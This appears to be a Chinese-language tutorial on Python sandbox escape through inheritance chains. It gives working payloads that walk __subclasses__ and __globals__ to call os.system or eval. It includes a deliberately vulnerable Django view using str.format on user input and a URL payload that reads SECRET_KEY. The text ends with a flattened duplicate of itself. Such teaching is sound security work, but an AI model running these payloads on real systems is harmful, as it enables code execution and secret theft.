用python继承链搞事情
字数 1177 2025-08-29 08:32:18

Python继承链利用技术详解

前言

继承链是利用Python对象继承关系进行沙盒逃逸和安全漏洞利用的技术。本文详细介绍了Python继承链的基本概念、核心方法和实际应用场景。

基础知识

__bases__属性

返回一个类直接继承的父类(以元组形式):

class Base1: pass
class Base2: pass
class Test(Base1, Base2): pass
class Test2(Test): pass

print(Test.__bases__)  # (<class '__main__.Base1'>, <class '__main__.Base2'>)
print(Test2.__bases__)  # (<class '__main__.Test'>,)

__mro__属性与__bases__类似,但包含完整的继承顺序链。

__class__属性

返回一个实例所属的类:

obj = Base1()
print(obj.__class__)  # <class '__main__.Base1'>

__globals__属性

返回函数所在命名空间的全局变量字典:

import os
var = 2333

def func(): pass

print(func.__globals__)  # 包含os模块和var变量

__subclasses__()方法

获取一个类的所有子类(返回列表):

class Base1(object): pass
class Test(Base1): pass

print(Base1.__subclasses__())  # [<class '__main__.Test'>]

__builtin____builtins__

  • __builtins__包含Python内置函数和异常
  • Python2中__builtins__指向__builtin__模块
  • Python3中改为builtins模块

继承链构造方法

基本构造思路:

  1. 获取任意内置类对象的类
  2. 获取其基类(通常是object
  3. 获取所有子类列表
  4. 在子类中寻找可利用的类

通用构造方式

().__class__.__bases__[0].__subclasses__()
# 或
().__class__.__mro__[1].__subclasses__()

实际利用方法

方法一:利用file对象读取文件(仅Python2)

  1. 查找file类在子类列表中的位置:
search = 'file'
num = 0
for i in ().__class__.__bases__[0].__subclasses__():
    if 'file' in str(i):
        print(num)
    num += 1
  1. 通常file类在第40位:
().__class__.__bases__[0].__subclasses__()[40]('filename').readlines()

方法二:利用内置模块执行命令(Python2)

  1. 查找包含os模块的子类:
search = 'os'
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
    num += 1
    try:
        if search in i.__init__.__globals__.keys():
            print(i, num)
    except:
        pass
  1. 常见可利用类:

    • <class 'site._Printer'> (72)
    • <class 'site.Quitter'> (77)
  2. 执行命令:

().__class__.__mro__[1].__subclasses__()[77].__init__.__globals__['os'].system('whoami')

方法三:通用方法(Python2/3)

  1. 查找包含__builtins__的子类:
search = '__builtins__'
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
    num += 1
    try:
        if search in i.__init__.__globals__.keys():
            print(i, num)
    except:
        pass
  1. Python3示例(第64位):
().__class__.__bases__[0].__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")
  1. Python2示例(第59位):
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")

Django配置信息泄露实战

利用格式化字符串漏洞读取Django配置信息:

漏洞代码示例

from django.http import HttpResponse

def search(request):
    template = 'Hello {user}, This is your search: ' + request.GET.get('keyword')
    return HttpResponse(template.format(user=request.user))

继承链分析

  1. 未登录用户是AnonymousUser实例
  2. AnonymousUser._groupsEmptyManager对象
  3. EmptyManager继承自Manager
  4. Manager使用QuerySet
  5. QuerySet导入django.conf.settings

构造Payload

http://127.0.0.1:8000/search?keyword={user._groups.__class__.__base__.__init__.__globals__[QuerySet].__init__.__globals__[settings].SECRET_KEY}

总结

Python继承链利用技术要点:

  1. 掌握__class____bases____subclasses__()等关键属性方法
  2. 熟悉Python对象继承关系
  3. 了解__globals____builtins__的作用
  4. 针对不同环境(Python2/3)调整利用方式
  5. 在Web框架中寻找可利用的对象链

参考资源

  1. 关于Python-sec的一些总结
  2. Python eval and bypass sandbox study
  3. Python string format vulnerability
Python继承链利用技术详解 前言 继承链是利用Python对象继承关系进行沙盒逃逸和安全漏洞利用的技术。本文详细介绍了Python继承链的基本概念、核心方法和实际应用场景。 基础知识 __bases__ 属性 返回一个类直接继承的父类(以元组形式): __mro__ 属性与 __bases__ 类似,但包含完整的继承顺序链。 __class__ 属性 返回一个实例所属的类: __globals__ 属性 返回函数所在命名空间的全局变量字典: __subclasses__() 方法 获取一个类的所有子类(返回列表): __builtin__ 与 __builtins__ __builtins__ 包含Python内置函数和异常 Python2中 __builtins__ 指向 __builtin__ 模块 Python3中改为 builtins 模块 继承链构造方法 基本构造思路: 获取任意内置类对象的类 获取其基类(通常是 object ) 获取所有子类列表 在子类中寻找可利用的类 通用构造方式 实际利用方法 方法一:利用file对象读取文件(仅Python2) 查找file类在子类列表中的位置: 通常 file 类在第40位: 方法二:利用内置模块执行命令(Python2) 查找包含 os 模块的子类: 常见可利用类: <class 'site._Printer'> (72) <class 'site.Quitter'> (77) 执行命令: 方法三:通用方法(Python2/3) 查找包含 __builtins__ 的子类: Python3示例(第64位): Python2示例(第59位): Django配置信息泄露实战 利用格式化字符串漏洞读取Django配置信息: 漏洞代码示例 继承链分析 未登录用户是 AnonymousUser 实例 AnonymousUser._groups 是 EmptyManager 对象 EmptyManager 继承自 Manager Manager 使用 QuerySet 类 QuerySet 导入 django.conf.settings 构造Payload 总结 Python继承链利用技术要点: 掌握 __class__ 、 __bases__ 、 __subclasses__() 等关键属性方法 熟悉Python对象继承关系 了解 __globals__ 和 __builtins__ 的作用 针对不同环境(Python2/3)调整利用方式 在Web框架中寻找可利用的对象链 参考资源 关于Python-sec的一些总结 Python eval and bypass sandbox study Python string format vulnerability